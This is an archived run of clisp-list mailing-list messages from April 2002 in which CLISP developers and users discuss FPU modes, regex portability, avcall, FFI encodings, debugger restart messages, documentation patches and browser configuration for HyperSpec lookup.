> * Sent on Wed, 10 Apr 2002 02:39:07 +0100
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> clisp sets the FPU mode to _FPU_IEEE (using functions from
> fpu_control.h).  Why does it do this, and what specifc features are

CLISP needs full control over the FP operations (i.e., no signals should
be raised, CLISP handles everything.)

> required? glibc on hppa does not have _FPU_IEEE, and it seems that
> fenv.h is the recommended way top control the FPU mode. Maybe if I
> know what I am trying to do I can set the FPU mode through fenv.h
> instead.

please go ahead.
See also
<http://sourceforge.net/tracker/index.php?func=detail&aid=429129&group_id=1355&atid=101355>
for a related bug.

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> * In message <DFD875E85664D3118FA6080006277DE7055A0043@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] now you can use the regexp module on MS-Windows"
> * Sent on Wed, 10 Apr 2002 11:55:09 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> > actually, the Emacs version does not cut it.
> Pardon my poor english? That means you don't like the regexp library
> that's part of Emacs? 

it does not compile without Emacs out of the box.

> > please try the glibc version (attached, from the glibc 2.2.5 dist)
> [oops, 260KB to the list]

sorry.
RMS actually recommends using the GLIBC version with CLISP.

> It's no better at all w.r.t. to alloca() for M$-VC, witness:
> 
> /* Make alloca work the best possible way.  */
> #   ifdef __GNUC__
> #    define alloca __builtin_alloca
> #   else /* not __GNUC__ */
> #    if HAVE_ALLOCA_H
> #     include <alloca.h>
> #    endif /* HAVE_ALLOCA_H */
> #   endif /* not __GNUC__ */
> 
> #  endif /* not alloca */
> 
> There's no alloca.h include file with (at least my) MS-VC 6.x

Joerg, please submit your patch to the glibc developers.
<http://www.gnu.org/software/glibc/>
<bug-glibc@gnu.org>

> So we're left with few choices:
> 1. change modules/regexp/regex.c as by my patch, or
> 2. recommend MS-VC users to create alloca.h *and* compile with -DHAVE_ALLOCA_H
> 3. beg Emacs/FSF/Lignux-libc/xyz-people to care for MS-VC and incorporate patch
> 
> In any case:
> 0. document problem and patch probably needed within CLISP,
>  .a either modules/regexp/README
>  .b or win32msvc/INSTALL
> 
> I'd favour 0b+1!+2 as I have few hopes for 3.

I am pretty sure your patch will be accepted by the GLIBC people
(especially if you accompany it with a standard ChangeLog entry).



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On Wednesday 10 Apr 2002 3:28 pm, you wrote:

> please go ahead.
> See also
> <http://sourceforge.net/tracker/index.php?func=detail&aid=429129&group_id=1
>355&atid=101355> for a related bug.

Hmm, once I get hppa building I'll look into this.


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> Dear Dr Haible,
> 
> Firstly, thanks for making your very useful language available.
> 
> I wish to know whether it is possible to run the theorem-proving system 
> ACL2 under clisp. When I tried to do this, I got the following message 
> almost immediately:
> 
> "We are trying to initialize the parameter that specifies the
> file extension name used by the local compiler.  For example, in
> Allegro Common Lisp, the extension is "fasl" while in Lucid
> it is "lbin" or "sbin".  Files with such extensions are understood
> to contain compiled code.  We do not recognize this Common Lisp
> from its *features*.  Please type as a STRINGP suitable for READ
> its compiled file extension name:
> 
> It has to READ as a STRINGP!  Put quotation marks around it:"
> 
> (This message originates in the ACL2 source, of course.)
> 
> The version of ACL2 (which is the only one I have succeeded in 
> obtaining) is 1.9. I obtained it by ftp from dirleton.csres.utexas.edu.
> 
> This version of ACL2 works under gcl, but I like clisp better!
> 
> I would appreciate your help.

The problem seems to be with the underlying assumption by the ACL2
writers that the system must run under GCL.  The above error message
is clearly from a pre CLtL2 and ANSI era, where COMPILED-FILE-PATHNAME
gives you the right information.

I bet you could go in the ACL2 code and excise all that initialization
code by replacing it with a call to COMPILED-FILE-PATHNAME or to

     cl.env:compiled-file-extension

from the CL-ENVIRONMENT library in the CLOCC.

In alternanative, you can use the CLOCC "port" package.

Cheers


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Hi,

On Wed, Apr 10, 2002 at 10:46:32AM +0200, Hoehle, Joerg-Cyril wrote:

> these are my comments on the topic.

Thanks for replying to my question.  The issues which you address
should be documented in avcall, so users don't have to guess.  I see
no insistence in the c file comments that the s file must be used.  On
the contrary, the comment for avcall-1386.c says:

 'Compile this routine with gcc -O (or -O2 -fno-omit-frame-pointer or -g -O)
  to get the right register variables. For other compilers use the
  pre-compiled assembler version.'

> 
> 1. We used the assembler files for lack of C compiler stability. We
were tired of verifying the code after every new release of GCC which
did different optimizations and broke the very sensible mixture of C
and __asm__ statements.
>
> > I don't suppose it really matters, and there _may_ be something wrong
> > with compiling with the c file that I don't know about.
> 
> Really, doing what avcall etc. do in C is next to not doable. And
it's not strictly C, witness all the __asm__() statements therein.

In avcall-1386.c there are three  __asm__ statements.  I would say
that its quite doable in c, with a bit of tweaking to get at the stack
and 2 registers.   At least on x86 Linux.

> 
> > Another advantage to using the .c file is you can follow Clisp into
> > avcall on gdb - well, you can do it with the .s file too, but
> > assembler is ... assembler.
> IMHO, if you plan to follow the debugger on avcall, you should know
assembler.

Why?  I compiled with avcall-i386.c and have been following it with gdb.
What is wrong with this approach.

> 2. I believe some of our usage of __asm__() for register allocation
> was not covered by the GNU-C team. Worse - IIRC -  they expressly said
> we cannot rely on this. It worked though, for our purposes.

The fact that its apparently _still_ working, would suggest it is
reasonably safe.

> 
> Do you want to rely on C + __asm__() code of which the compiler
> maintainers state it's unsupported?

Well, when code which was last *tweaked* 2! years ago (according to
Sourceforge cvs) compiles out of the box, apparently without breaking
anything, I would call that reasonable stability.  I note also that
the comment for many of the assembler files in the cvs is 'regenerated
with gcc-2.95.2' (including avcall-m68k-amiga.s!!) so I doubt wether
this is the hand coded assembler you remember.

> 3. Working assembler code was first, C afterwards. It was an
iterative cycle, trying to find out C code which, when compiled, would
produce working code. It very much depends on the compiler switches
and version. That's why comments say "Must be compiled with -O, while
-fomit-frame-pointer is forbidden / necessary". Creating the C file
was not a "let's write it from scratch in C".

This is interesting as an historical note on how the c files were
arrived at, but its not a good argument for not using the c files
today, if they are reasonably stable.  (See cvs comments on
'regenerated with gcc' for the various versions)  avcall-i386.c may
have been a devil to arrive at, but its reasonably clean and clear and
understandable today.

> 
> I consider the C code as the documentation of the assembly code.

Then say so in the documentation/comments.

> 
> 3. We had to work with different assembler syntaxes.
> The GNU as uses the so called MIT syntax - e.g. a6@ -, while all others use
> the Motorola syntax - (a6) - for the m680x0 processor.
> 
> The solution (typical of CLISP) was to add preprocessing to assembly files.
> I see similar similar things done in e.g. asmi386.h
> 
> BTW, GNU-as was not stable either.
> We moved from gcc+-as-1.39/40 to gcc-2, the object format moved from
UNIX a.out to xyz, GNU-as started using the BFD library (for better or
worse), gcc + gas integrated patches as reported etc.

This is a long time ago.  Maybe the ground under our feet is a bit
more solid today?  The whole a.out move time is notorious.  Even I
have heard the horror stories.  

> What I believe could work is this:
> o Somebody knowledgeable of a given platform and assembler takes responsibility ("maintains") the corresponding {avcall,vacall,trampoline}-arch.[cs]
>  + makes it work,
>  + guarantees it works

This is free software.  Don't ask for (and don't give) guarantees...
Wait... remove 'free' from the line above [with sed, grep and cpp if
necessary :-).] 

>  + and makes claims about the stability w.r.t. compiler changes of the code.
> o somebody manages to manage the team of n people and 3n different implementations.
> 

These requirements are completely unreasonable, Joerg.  Noone can ever
make such claims about avcall, or any other software.

I think people should test the c versions and if they work, they
should be used.  If/When stuff breaks with a new compiler, then it will
get fixed, if anyone needs it to work..  Noone is forced to move to a
new compiler.  You can also have more than one compiler, if
necessary. (It works for RedHat)

Regards,
Peter


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Hi

I discovered this in impnotes (Extensions 2.2 External Modules):

TO_PRELOAD (optional)
 The space seperated list of lisp files to load into an intermediate
 lispinit.mem before building the lsipinit.mem belonging to a new
 linking set.  This var is usually used for defining lisp packages
 which must be present when the new .c files are initialized.

May I suggest, Sam, that you explicitly state that TO_PRELOAD must be
set if the module contains a def-call-in (no longer optional), and
link to the example with def-call-in. (sort2), so that (especially
new) users who don't read clisp-list will be able to build the example.

I have tested using TO_PRELOAD and it works.

Regards,
Peter



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Hi,

is the following behaviour to be considered a bug?

(defun test-sml ()
  (describe (sys::foreign-encoding))
  (let ((custom:*foreign-encoding* (ext:make-encoding :charset =
'charset:mac-turkish)))
    (describe custom:*foreign-encoding*)
    (describe (sys::foreign-encoding)))
  (describe (sys::foreign-encoding)))
(test-sml)
#<ENCODING CHARSET:CP1252 :DOS> is an encoding.
#<ENCODING CHARSET:MAC-TURKISH :UNIX> is an encoding.
#<ENCODING CHARSET:CP1252 :DOS> is an encoding. <-!?
#<ENCODING CHARSET:CP1252 :DOS> is an encoding.

What is at question here is how transparent are symbol macros?

The normal way to temporarily bind specials is by LET. Should that =
still be the case with symbol-macros, e.g. should the user know that =
some variable is not a normal special, but rather a symbol macro?
Why have symbol macros if they can't remain well hidden?

Should the compiler recognize symbol macros, and generate
code equivalent to macros3.lisp:LETF for them, or not?


[42]> (describe 'custom:*foreign-encoding*)
*FOREIGN-ENCODING* is the symbol *FOREIGN-ENCODING*, lies in #<PACKAGE=20
CUSTOM>, is accessible in the packages COMMON-LISP-USER, CUSTOM, EXT, =
FFI,=20
LDAP, SCREEN, SYSTEM, a variable (macro: (SYSTEM::FOREIGN-ENCODING)), =
value:=20
#<SYMBOL-MACRO (SYSTEM::FOREIGN-ENCODING)>.
For more information, evaluate (MACROEXPAND-1 '*FOREIGN-ENCODING*).
 #<PACKAGE CUSTOM> is the package named CUSTOM.
 It exports 47 symbols to the package EXT.
 #<SYMBOL-MACRO (SYSTEM::FOREIGN-ENCODING)> is a symbol macro handler.

Using CLISP-2.28 (MS-Windos-2000 with MS-VC6).

Thanks,
	J=F6rg H=F6hle.


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I have put the source code for this module on my web site as:
http://www.diac.com/~dxs/gdi.tar.gz.
It does compile, but is almost completely untested.  The code is
generated by a included awk script.  I am making it available for
any comments about the structure of the generated code.  I am not
ready to start hand editing the code as I think there is more awk
code changes to be made.  The next step is to generate structure
processing code, and integrate it.  Then finally to write the lisp
interface to the c module.
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Hi,

Reini Urban,
> > # don't -DUNICODE sysdll.c via CFLAGS or you'll get 
> LoadLibraryW(), not -A
> 
> but then you cannot load foreign libraries on win32 (namely 
> japanese, chinese,

Thanks for raising this topic.

CLISP's FFI doesn't correctly support UNICODE anyway. That's another one on my growing FFI-limits list.

> (setf custom:*foreign-encoding* (ext:make-encoding :charset 'charset:utf-8))
*** - SYSTEM::SET-FOREIGN-ENCODING: #<ENCODING CHARSET:UTF-8 :UNIX> is not a 1:1 encoding

The problem is C-STRING etc. It's currently limited to "1:1" translations.
Changing that is not easy at all. Otherwise it would have been done since day one.


I *highly* welcome proposals for how an API which works with unicode would look like.

I've been thinking about things like
(with-c-string (varname "foobar" &optional charset-or?-encoding)
  &body ...)
-> FOREIGN-VARIABLE of type (C-ARRAY FFI:uint8-or-character-or-what? <len>
(FFI::FOREIGN-SIZE *) -> length in 8bit bytes
or something closer to make-array with &key :length :initial-contents ...

That would do to stack allocation of foreign strings what ext:convert-string-to-bytes does in Lisp.

It doesn't tell what DEF-x-CALL-OUT for such a function would look like.

Is using vectors of (unsigned-byte 8) resp. (c-array uint8 n) all
that's needed by people?
It doesn't look nice a priori. And it sounds strange (at least
to me) that an implementation which supports dozens of encodings
uses uint8 for the FFI. Another case of worse is better?

1:2 encoding (UTF-16) could be easy to add as well, but variable
size (UTF-8) is no-no so far. Think about all the functions
where you pass in a char* buffer and the buffer size... (my old
praise of the IDL is_size declaration, cf my FFI design article
and others).


> > I now use sysdll-1.7.c and sysdll-1.3.h from XEmacs CVS
> The current version is quite unstable IMHO, considering the 
> unicode and mule [...]

That's XEmacs stability, not necessarily affecting supporting libraries. E.g. unstability of CLISP doesn't imply ffcall would be unstable. In any case, if sysdll-1.7.c suits the need, why not just take this version? At some time in future, somebody may look if they changed it. E.g., nobody so far felt a need for upgrading modules/regexp/regex.c in three years.

Regards,
	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE7055A00B6@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] LET + custom:*x-encoding* (symbol macro) question"
> * Sent on Wed, 10 Apr 2002 17:43:41 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> is the following behaviour to be considered a bug?

this is correct, as per the spec.
lexical bindings shadow symbol-macro definitions.

> (defun test-sml ()
>   (describe (sys::foreign-encoding))
>   (let ((custom:*foreign-encoding* (ext:make-encoding :charset 'charset:mac-turkish)))
>     (describe custom:*foreign-encoding*)
>     (describe (sys::foreign-encoding)))
>   (describe (sys::foreign-encoding)))
> (test-sml)
> #<ENCODING CHARSET:CP1252 :DOS> is an encoding.
> #<ENCODING CHARSET:MAC-TURKISH :UNIX> is an encoding.
> #<ENCODING CHARSET:CP1252 :DOS> is an encoding. <-!?
> #<ENCODING CHARSET:CP1252 :DOS> is an encoding.
> 
> What is at question here is how transparent are symbol macros?
> 
> The normal way to temporarily bind specials is by LET. Should that
> still be the case with symbol-macros, e.g. should the user know that
> some variable is not a normal special, but rather a symbol macro?
> Why have symbol macros if they can't remain well hidden?
> 
> Should the compiler recognize symbol macros, and generate
> code equivalent to macros3.lisp:LETF for them, or not?

I don't think so.

-encodings* are symbol-macros so that some error-checking is done at
SETQ time, not at use time.



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> * In message <20020410170922.A268@localhost.localdomain>
> * On the subject of "[clisp-list] to_preload (re the package bug)"
> * Sent on Wed, 10 Apr 2002 17:09:22 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> I discovered this in impnotes (Extensions 2.2 External Modules):
> 
> TO_PRELOAD (optional)
>  The space seperated list of lisp files to load into an intermediate
>  lispinit.mem before building the lsipinit.mem belonging to a new
>  linking set.  This var is usually used for defining lisp packages
>  which must be present when the new .c files are initialized.
> 
> May I suggest, Sam, that you explicitly state that TO_PRELOAD must be
> set if the module contains a def-call-in (no longer optional), and
> link to the example with def-call-in. (sort2), so that (especially
> new) users who don't read clisp-list will be able to build the example.
> 
> I have tested using TO_PRELOAD and it works.

good!
could you please send a patch to doc/impext.xml?
(sort2 does not mention TO_PRELOAD right now!)

PS do I understand correctly that you tried my patch for [ 539701 ]
   early initialization error -> crash and it works for you?

   
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Hi,

On Wed, Apr 10, 2002 at 12:28:19PM -0400, Sam Steingold wrote:
> > * In message <20020410170922.A268@localhost.localdomain>
> > * On the subject of "[clisp-list] to_preload (re the package bug)"
> > * Sent on Wed, 10 Apr 2002 17:09:22 +0200
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > I discovered this in impnotes (Extensions 2.2 External Modules):
> > 
> > TO_PRELOAD (optional)
> >  The space seperated list of lisp files to load into an intermediate
> >  lispinit.mem before building the lsipinit.mem belonging to a new
> >  linking set.  This var is usually used for defining lisp packages
> >  which must be present when the new .c files are initialized.
> > 
> > May I suggest, Sam, that you explicitly state that TO_PRELOAD must be
> > set if the module contains a def-call-in (no longer optional), and
> > link to the example with def-call-in. (sort2), so that (especially
> > new) users who don't read clisp-list will be able to build the example.
> > 
> > I have tested using TO_PRELOAD and it works.
> 
> good!
> could you please send a patch to doc/impext.xml?
> (sort2 does not mention TO_PRELOAD right now!)

I don't have any of the docbook gunk on my system, so I wouldn't be
able to test the patch.  I am not going to spend 2 hours finding,
downloading, compiling and installing, then 3 hours learning, a system
which I really dislike just to write 15 lines.

> PS do I understand correctly that you tried my patch for [ 539701 ]
>    early initialization error -> crash and it works for you?

I got the results which I reported on the list:

http://www.geocrawler.com/lists/3/SourceForge/1124/25/8315188/

Your analysis made sense to me.

I did not do further testing than that, ymmv.

Regards,
Peter


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> * In message <20020410193116.A430@localhost.localdomain>
> * On the subject of "Re: [clisp-list] to_preload (re the package bug)"
> * Sent on Wed, 10 Apr 2002 19:31:16 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> > > I discovered this in impnotes (Extensions 2.2 External Modules):
> > > 
> > > TO_PRELOAD (optional)
> > >  The space seperated list of lisp files to load into an intermediate
> > >  lispinit.mem before building the lsipinit.mem belonging to a new
> > >  linking set.  This var is usually used for defining lisp packages
> > >  which must be present when the new .c files are initialized.
> > > 
> > > May I suggest, Sam, that you explicitly state that TO_PRELOAD must be
> > > set if the module contains a def-call-in (no longer optional), and
> > > link to the example with def-call-in. (sort2), so that (especially
> > > new) users who don't read clisp-list will be able to build the example.
> > > 
> > > I have tested using TO_PRELOAD and it works.
> > 
> > good!
> > could you please send a patch to doc/impext.xml?
> > (sort2 does not mention TO_PRELOAD right now!)
> 
> I don't have any of the docbook gunk on my system, so I wouldn't be
> able to test the patch.  I am not going to spend 2 hours finding,
> downloading, compiling and installing, then 3 hours learning, a system
> which I really dislike just to write 15 lines.

you can edit impext.xml with any text editor.
don't worry about the markup - I will fix it for you.
concentrate on the contents.

you are the only one who can do this - describe what, specifically,
should go into TO_PRELOAD in sort2.

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Hi,

On Wed, Apr 10, 2002 at 03:01:43PM -0400, Sam Steingold wrote:
> you can edit impext.xml with any text editor.
> don't worry about the markup - I will fix it for you.
> concentrate on the contents.
> 
> you are the only one who can do this - describe what, specifically,
> should go into TO_PRELOAD in sort2.

It's just the name of a lisp file which does a defpackage for the
package which you  want the module to be in.

Here's the patch.

$patch -p0 impext.xml sort2.patch

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Peter
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> 
> This variable is obligatory when the
> new module contains a 'def-call-in' form, for obscure reasons,
> internal to Clisp.  This requirement may be removed in the future.
> For an example of usage, see example 'call-in' below.
> 
2843a2850,2851
> Create a file "package.lisp" containing the form (defpackage
> "FFI-TEST" (:use "LISP" "FFI"))
2844a2853
> Add a line: TO_PRELOAD='package.lisp' in link.sh

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Hi,

I found the help of the debugger w.r.t. restarts to be misleading:

2. Break [8]> (clhs 'car)
** - Continuable Error
SYSTEM::CLISP-DATA-FILE: file =
#P"H:\\sspace\\src\\clisp-2.28\\data\\clhs.txt" does not exist - adjust =
*LIB-DIRECTORY*
If you continue (by typing 'continue'): You may input a new value.
The following restarts are available, too:
R1 =3D You may input a new value.

The naive user now asks: "How to invoke that restart?"

3. Break [9]> (apropos "r1")
SYSTEM::MAKE-VECTOR1&PUSH              =20
SYSTEM::MEMBER1                            function


Furthermore,

3. Break [9]> (invoke-restart)
** - Continuable Error
EVAL: too few arguments given to INVOKE-RESTART: (INVOKE-RESTART)
If you continue (by typing 'continue'): You may input a new value.
^^^^^^^^^^^^^^^
The following restarts are available, too:
R1 =3D You may input a new value.

It is not clear at all from the wording of these messages that
"'continue'): You may input a new value" is still about the
prior *lib-directory* and not about the new error that the user faces.
This is quite misleading.

4. Break [10]> continue
New *LIB-DIRECTORY*:=20

Surprise! Here I expected I could "input a new value" for
invoke-restart, the last error.

I believe there's some need to revisit what text goes at what time
to which of *debug-io* and *error-output*. I wish it could be more =
clear.


For orientation, here's what Oaklisp shows:
[oaklisp bytecode emulator. version 1.00. jan 1998.................]
[(c) by barak pearlmutter, kevin lang and alex stuebinger, 1987-98.]
> a
Error: Variable A not found in #<Locale 668>.
Oaklisp evaluation loop.
  Active handlers:
  0: Return to top level.
  1: Install A in #<Locale 668>.
  2: Return to debugger level 1.
>> (with-open-file (inf "foo" in) (read inf))
Error: Unable to open "foo" for READ access.
Oaklisp evaluation loop.
  Active handlers:
  0: Return to top level.
  1: Install A in #<Locale 668>.
  2: Return to debugger level 1.
  3: Supply a file to READ instead (none to retry "foo").
  4: Return to debugger level 2.
>>> (ret 3 "abc")
Invoking handler "Supply a file to READ instead (none to retry "foo")."
Error: Unable to open "abc" for READ access.
Oaklisp evaluation loop.
  Active handlers:
  0: Return to top level.
  1: Install A in #<Locale 668>.
  2: Return to debugger level 1.
  3: Supply a file to READ instead (none to retry "abc").
  4: Return to debugger level 2.
>>>=20
No confusion, not misleading, IMHO.
Oaklisp's error system is very close to Common Lisp's, BTW =
(handler-bind et al).

Regards,
	J=F6rg H=F6hle.


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Hi,

On Tue, Apr 09, 2002 at 12:16:02PM +0000, Reini Urban wrote:

> IMHO the main advantage of the xemacs code over libltdl is the more liberal
> license :)

Xemacs is under the GPL.  libltdl is under the GNU library GPL.  In
fact, ltdl contains a 'special exception' which allows it to be
distributed under the same license terms as your program if your
program uses libtool.  So, in FACT, libltdl license is much more
liberal.

I personally would not be using Clisp if it was not under the GPL.

A LUTA CONTINUA! :-) 

Regards,
Peter


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> * In message <20020410222327.A126@localhost.localdomain>
> * On the subject of "Re: [clisp-list] to_preload (re the package bug)"
> * Sent on Wed, 10 Apr 2002 22:23:27 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> Here's the patch.

the patch does not apply cleanly.
could you please send a unified context diff?
(put 'diff -uwb' into your ~/.cvsrc)

thanks.

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I have a function in a c module, which needs to return a structure.  Is
it possible to pass in the
empty structure and set the elements of it?  Or is it just as fast to
return them as values,
and use a multiple-value-call passing them to a constructor for the
structure.
Or should I can I call the constructor directly in my c code.  The c
code is being generated
mostly, and I dont have too many structures, so I would prefer to do
this in the most efficent way.
I think that almost all of the structure elements are simple types such
as ints and floats.
Any insights would be appreciated.
TIA
Dan Stanger



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Hi,

Dan Stanger wrote:

> I have a function in a c module, which needs to return a 
> structure.  Is it possible to pass in the
> empty structure and set the elements of it? 

This sounds like
 (:arguments (foo (ffi:c-ptr (c-struct ...)) :out :alloca))

If you want to fill in prior to the call, use :in-out.

Are you sure you must return a struct, not a pointer to a struct?


> Or is it just as fast to return them as values,
I can't comment on performance. It very much depends on the exact (Lisp) code.

> and use a multiple-value-call passing them to a constructor for the
> structure.
> Or should I can I call the constructor directly in my c code.  The c
> code is being generated
> mostly, and I dont have too many structures, so I would prefer to do
> this in the most efficent way.

Generally, the more you can do (safely) in C wrappers, the faster.
Likewise, the more you can rely on built-in primitives (~500 of them), the faster.
For Lisp code in CLISP, there's always bytecode interpretation overhead.

My opinion: if you must write wrappers and cannot interface directly, then go ahead and make the return values and arguments as Lisp-friendly as possible (while in C wrapper code).

Regards,
	Jorg Hohle.


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On Thu, Apr 11, 2002 at 10:16:49AM -0400, Sam Steingold wrote:
> > * In message <20020410222327.A126@localhost.localdomain>
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
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> > Here's the patch.
> 
> the patch does not apply cleanly.
> could you please send a unified context diff?
> (put 'diff -uwb' into your ~/.cvsrc)
> 
> thanks.

Sorry.  I downloaded impext.xml and did:

diff -uwb impext.xml impext.new2.xml > newpatch.patch

I hope that fixes it.

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Peter

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@@ -1855,6 +1855,12 @@
   belonging to a new &linkset;.
   This variable is usually used for defining Lisp packages which must be
   present when the new &c-file; files are initialized.
+
+This variable is obligatory when the
+new module contains a 'def-call-in' form, for obscure reasons,
+internal to Clisp.  This requirement may be removed in the future.
+For an example of usage, see example 'call-in' below.
+
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+Create a file "package.lisp" containing the form (defpackage
+"FFI-TEST" (:use "LISP" "FFI"))
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        [clisp-list] uniformative debugger w.r.t. restarts
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Hi,

I found the help of the debugger w.r.t. restarts to be misleading:

2. Break [8]> (clhs 'car)
** - Continuable Error
SYSTEM::CLISP-DATA-FILE: file
#P"H:\\sspace\\src\\clisp-2.28\\data\\clhs.txt" does not
exist - adjust *LIB-DIRECTORY*
If you continue (by typing 'continue'): You may input a new value.
The following restarts are available, too:
R1 = You may input a new value.

The naive user now asks: "How to invoke that restart?"
----------------------------------------------

Hallo

When I do the (clhs 'car) command, it returns :

[28]> (clhs 'car)
;; Reading `C:\clisp\data\clhs.txt' [45,476 bytes]...done [0.61 sec]
BROWSE-URL: no browser specified; please point your browser at
 -->
<URL:file://C|/LISP/HYPER1/Front/X_Master.htm/Body/acc_carcm_cdr_darcm_cddd
dr.html>
NIL
[29]>

As a naive user I ask now: How can I invoke the browser ?
(netscape 4.7 on win98)

But Wow. It is frustrating, to know that there is a command, but to not
know, where to find documents. Also I found out how to get a copy from
the cl-dos-box :) so:

[32]> (clhs 'browser)

*** - No HyperSpec doc for `BROWSER'
1. Break [33]> abort


stefan




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Hello, lin8080,

Friday, April 12, 2002, 11:38:49 AM, you wrote:

lin8080> As a naive user I ask now: How can I invoke the browser ?
lin8080> (netscape 4.7 on win98)
Naive users should use 'apropos'. See *browser* and *browsers*.
That's open an IE (but page doesn't open anyway - another bug...)

(push '(:IE "C:\Program Files\Plus!\Microsoft Internet\IEXPLORE.EXE" "~A") *browsers*)
(setf *browser* :IE)
(clhs 'apropos)

-- 
Best regards,
 Arseny




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Stefan X wrote:
> But Wow. It is frustrating, to know that there is a command, 
> but to not know, where to find documents.

The first place to look for is the CLISP implementation notes. It says:

"ext:clhs. [Common Lisp HyperSpec] access is provided via (ext:clhs symbol &KEY :browser)
function, which uses your web browser. browser should be a valid keyword in the
custom:*browsers* alist."

> [32]> (clhs 'browser)
> *** - No HyperSpec doc for `BROWSER'

You should know that CLHS is the Common Lisp (ANSI standard) Hyperspec. As such, you'll find nothing there about CLISP specific extensions.


Follows a bug report:

impnotes mentions custom:*browsers* (see above text), however
REGEXP[79]> custom:*browsers*
*** - READ from 
#<INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM>
  #<IO SYNONYM-STREAM *TERMINAL-IO*>>: #<PACKAGE CUSTOM> has no external symbol with name "*BROWSERS*"
1. Break REGEXP[80]> (apropos "browse")
EXT:*BROWSER*                              variable
EXT:*BROWSERS*                             variable
CUSTOM:*INSPECT-BROWSER*                   variable
EXT:BROWSE-URL                             function
EXT::BROWSE-URL-1                       
EXT::BROWSE-URL-2                       
EXT::BROWSE-URL-3                       
:BROWSER                                   constant
SYSTEM::BROWSER                         

*BROWSERS* is not reexported to the package CUSTOM.


Follows small gripes:
1) the *browsers* list in file src/clhs.lisp is biased towards UNIX.
  '((:netscape "netscape" "-remote" "openURL(~a,new-window)")
    (:konqueror "kfmclient" "openURL" "~a")
    (:lynx "xterm" "-e" "lynx" "~a")
    (:w3m "xterm" "-e" "w3m" "~a")
    (:mmm "mmm" "-external" "~a")
    (:mosaic "xmosaic" "~a")
    (:emacs-w3 "gnudoit" "-q" "(w3-fetch \"~a\")")))
It doesn't provide any reasonable default for any other system. Furthermore, the elements in the alist are not made conditional upon #+UNIX.
Where can one expect "netscape -remote xyz" to work?

2) even the code in browse-url only works on UNIX (or a simulator).
  (run-program (car command) :arguments args :wait nil)
:WAIT nil (appending a "&" to the command line) only works in a UNIX shell.
We had a run-program topic here in the list a few weeks ago.

My opinion: starting a program is highly dependent on OS and
user configuration. A hook should be provided for this purpose,
not a hard coded run-program with non-standard keywords.

I seem to remember there is already a similar hook somewhere
in CLISP, possibly in one of the inspector packages? (or was
that in CMUCL?)

The easy yet satisfactory solution may be to add a final "&"
:arguments for every UNIX line, when the programs don't detach
by themselves anyway (netscape -remote?), e.g.
    (:mosaic "xmosaic" "~a" "&")
    (:emacs-w3 "gnudoit" ...) ; don't add "&"!


3) defvar *browsers* should include a documentation string about the ~A format trick.


Here's what I found out for my installation of of M$-Windows-2000:
(setq ext:*browsers*
      '(;; Sadly, location of iexplore.exe depends on MS-Windows-95/98/NT/2000/xy/z
        #+win32(:IE "C:\\PROGRA~1\\Internet Explorer\\IEXPLORE.EXE" "~a")
        ;; PROGRA~1 works with "Program Files", "Programme" and hopefully more
        #+win32(:netscape "C:\\PROGRA~1\\Netscape\\Communicator\\Program\\netscape.exe" "-browser" "~a")
        ;; Netscape will detach (run asynchronously) by itself, IE does not.
        #+win32(:emacs-w3 "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnudoit.exe" "-q" "(w3-fetch \"~a\")")
        ;; gnuclient/gnudoit are semi-aynchronous
        #+win32(:emacs "C:\\PROGRA~1\\emacs-20.7\\gnuserv\\gnuclient.exe" "~a")
        ))

However, the list does not work with the :WAIT nil thing still in clhs.lisp:BROWSE-URL


More portable code would query the registry for the application
associated with ".html" or ".htm"). Who wants to write that?
  (:default ... sys::registry or new dir-key code ...)
(setq *browser* :default)


4) ext:*browser[s]* (or custom:*) should be mentioned in config.lisp
That's the file that users are supposed to look at. (not clhs.lisp)


BTW, what's the final word on *lib-directory*, clisp-data-file
and the data/ subdirectory?
data/ or not data/ subdirectory?

Regards,
	Jorg Hohle


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Arseny Slobodjuck said:
> That's open an IE (but page doesn't open anyway - another bug...)

I suggested:
>The easy yet satisfactory solution may be to add a final "&"
>:arguments for every UNIX line, when the programs don't detach

Could people please test the following:

A. browse-url

;; cannot have portable :wait nil argument to run-program
(defun browse-url (url &key (browser *browser*) (out *standard-output*))
  "Run the browser (a keyword in `*browsers*' or a list) on the URL."
  (let* ((command
          (etypecase browser
            (list browser)
            (symbol (or (cdr (assoc browser *browsers* :test #'eq))
                        (error "unknown browser: `~s' (must be a key in `~s')"
                               browser '*browsers*)))))
         (args (mapcar (lambda (arg) (format nil arg url)) (cdr command))))
    (cond (command
           (when out
             (format out "~&;; running [~s~{ ~s~}]..." (car command) args)
             (force-output (if (eq out t) *standard-output* out)))
           (run-program (car command) :arguments args) ; :wait nil
           (when out
             (format out "done~%")))
          ((format t "~s: no browser specified; please point your browser at
 --> <URL:~a>~%" 'browse-url url)))))
;(browse-url "http://clisp.cons.org/impnotes/")


B. *browsers* on UNIX: extra "&"

(defvar *browsers*              ; alist of browsers & commands
  '(#+UNIX(:netscape "netscape" "-remote" "openURL(~a,new-window)" "&")
    #+UNIX(:konqueror "kfmclient" "openURL" "~a" "&")
    (:lynx "xterm" "-e" "lynx" "~a" #+UNIX "&")
    (:w3m "xterm" "-e" "w3m" "~a" #+UNIX "&")
    (:mmm "mmm" "-external" "~a" #+UNIX "&")
    #+UNIX(:mosaic "xmosaic" "~a" "&")
    (:emacs-w3 "gnudoit" "-q" "(w3-fetch \"~a\")")))

Thanks,
	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE7055A01F8@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] ext:clhs & (apropos "browse") and customization bug & call for co de snippet (win32 registry->browser)"
> * Sent on Fri, 12 Apr 2002 09:58:44 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Follows a bug report:
